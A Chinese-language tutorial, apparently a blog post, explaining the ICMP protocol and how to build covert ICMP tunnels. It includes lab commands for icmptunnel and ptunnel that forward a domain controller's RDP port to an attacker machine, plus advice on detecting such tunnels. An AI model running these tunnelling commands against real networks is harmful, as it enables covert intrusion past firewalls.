淺析Icmp原理及隱蔽攻擊的方式
一、ICMP隧道技術解析
1.icmp協議
Internet Control Message Protocol Internet控制報文協議。它是TCP/IP協議簇的一個子協議,用于在IP主機、路由器之間傳遞控制消息。控制消息是指網絡通不通、主機是否可達、路由是否可用于網絡本身的消息。這些控制消息雖然并不傳輸用戶數據,但是對于用戶數據的傳遞起著重要的作用

ICMP協議主要提供兩種功能,
一種是差錯報文,一種是信息類報文。信息類報文包括回顯請求和回顯應答,以及路由器通告和路由器請求。常見的差錯報文類型包括目的不可達、重定向、超時和參數問題。
主要特點:
確認IP數據包是否成功到達目的地
通知源主機發送IP數據包丟失的原因
ICMP是基于IP協議工作的
ICMP只能作用于IPV4,IPV6下,使用ICMPv6
報文格式:


ping一下8.8.8.8,然后使用wireshark進行抓包看看。
過程:ping 命令使用了兩個ICMP 報文
1、向目標服務器發送回送請求
首先,向目標服務器發出回送請求(類型是8,代碼是0)報文。在這個回送請求報文里,除了類型和代碼字段,還被追加了標識符和序號字段。標識符和序號字段分別是16 位的字段。ping 命令在發送回送請求報文時,在這兩個字段里填入任意的值。對于標識符,應用程序執行期間送出的所有報文里填入相同的值。對于序號,每送出一個報文數值就增加1。而且,回送請求的選項數據部分用來裝任意數據。這個任意數據用來調整ping 的交流數據包的大小。
2、返回的回應,做出答復。
計算機送出的回送請求到達目標服務器后,服務器回答這一請求,向送信方發送回送請求(類型是0,代碼是0)。這個ICMP 回送回答報文在IP 層來看,與被送來的回送請求報文基本上一樣。不同的只是,源和目標IP 地址字段被交換了,類型字段里填入了表示回送回答的0。也就是,從送信方來看,自己送出的ICMP 報文從目標服務器那里象鸚鵡學舌那樣原樣返回了。
送信方的計算機可以通過收到回送回答報文,來確認目標服務器在工作著。進一步,記住發送回送請求報文的時間,與接收到回送回答報文的時間一比較,就能計算出報文一去一回往復所需要的時間。但是,收到的回送回答報文里寫的只是類型和代碼的話,發送方計算機將無法判斷它是否是自己發出去請求的回答。因此,前面說到的標識符和序號字段就有它的意義了。將這兩個值與回送回答報文中的相同字段值一比較,送行方計算機就能夠簡單地檢測回送回答是否正確了。執行ping 命令而調查的結果沒什么問題的話,就將目標服務器的IP 地址,數據大小,往復花費的時間打印到屏幕上。

2、ICMP隧道
(1)原理:
由于ICMP報文自身可以攜帶數據,而且ICMP報文是由系統內核處理的,不占用任何端口,因此具有很高的隱蔽性
通常ICMP隧道技術采用ICMP的ICMP_ECHO和ICMP_ECHOREPLY兩種報文,把數據隱藏在ICMP數據包包頭的選項域中,利用ping命令建立隱蔽通道。簡單說就是,改變操作系統默認填充的Data,替換成我們自己的數據。
所以現在的ICMP隧道技術,基本采用修改ICMPECHO和ICMPECHOREPLY兩種報文,把消息隱藏在數據中,利用ping或 tracert 命令建立隱蔽通道。
優缺點
優點:
防火墻對ICMP_ECHO數據包是放行的,并且內部主機不會檢查ICMP數據包所攜帶的數據內容,隱蔽性高
缺點:
ICMP隱蔽傳輸是無連接的,傳輸不是很穩定,而且隱蔽通道的帶寬很低
利用隧道傳輸時,需要接觸更低層次的協議 ,這就需要高級用戶權限。
二、隧道搭建
方法1:使用icmpsh搭建
1.首先使用git下載:https://github.com/jamesbarlow/icmptunnel

2.然后安裝依賴庫,apt-get install python3-impacket

3.使用sysctl -w net.ipv4.icmp_echo_ignore_all=1 ,將icmp的程序替換

4.輸入./run.sh啟用

5.輸入目標ip

6.成功連接。

7.查看目錄。

方法2:pingtunnel

1.在官網進行下載:http://freshmeat.sourceforge.net/projects/ptunnel/
2.進入文件目錄,然后使用make && make install 進行編譯安裝。

3.然后安裝缺少的依賴文件pcap.h.

4.使用tar命令進行解壓。

5.然后使用ptunnel -x 進行測試。

下面是我用win7做邊界web服務器,然后把內網的域控3389端口轉發到外網的kali上面。
這是win7的內外網ip
win7內網ip:1.1.1.11
外網ip:192.168.2.183
windos也可使用此工具,不過需要在內網windows機器上安裝wincap類庫。

域內主機:winserver12:1.1.1.2

攻擊機IP:192.168.2.181
kali的IP
-x 指定ICMP隧道連接的密碼 -lp 指定要監聽的本地TCP端口 -da 指定要轉發的目標機的IP -dp 指定要轉發的目標機的TCP端口 -p 指定ICMP另一端機器的IP
攻擊機開啟隧道 ptunnel -x abc

實驗過程:在跳板機執行 ptunnel -x 密碼

在目標機執行:
windows版本
ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.2 -dp 3389 -x abc

然后使用遠程連接:
rdesktop -g 1440x900 -u saul -p saul 127.0.0.1:1080
linux版本:
連接22端口
ptunnel -p x.x.x.x -lp 1080 -da x.x.x.x -dp 22 -x abc

三防御ICMP隧道攻擊的方式:
1、檢測同一源的ICMP數據包的流量。一個ping命令每秒發送2個數包,而使用ICMP隧道的瀏覽器會發送上千個ICMP數據包
2、注意那些payload大于64bit的ICMP數據包
3、尋找響應數據包的payload與請求數據包的payload不一致的ICMP數據包
4、檢查ICMP數據包的協議與標簽。例如,icmptunnel會在所有的ICMP payload前添加”TUNL”標記來識別隧道。
總結:
這篇文章主要簡單分析了一下Icmp協議的簡單通信原理以及ICmp通信過程,還包含了使用icmpsh和pingtunnel這2種工具進行建立隱藏隧道進行隱蔽攻擊。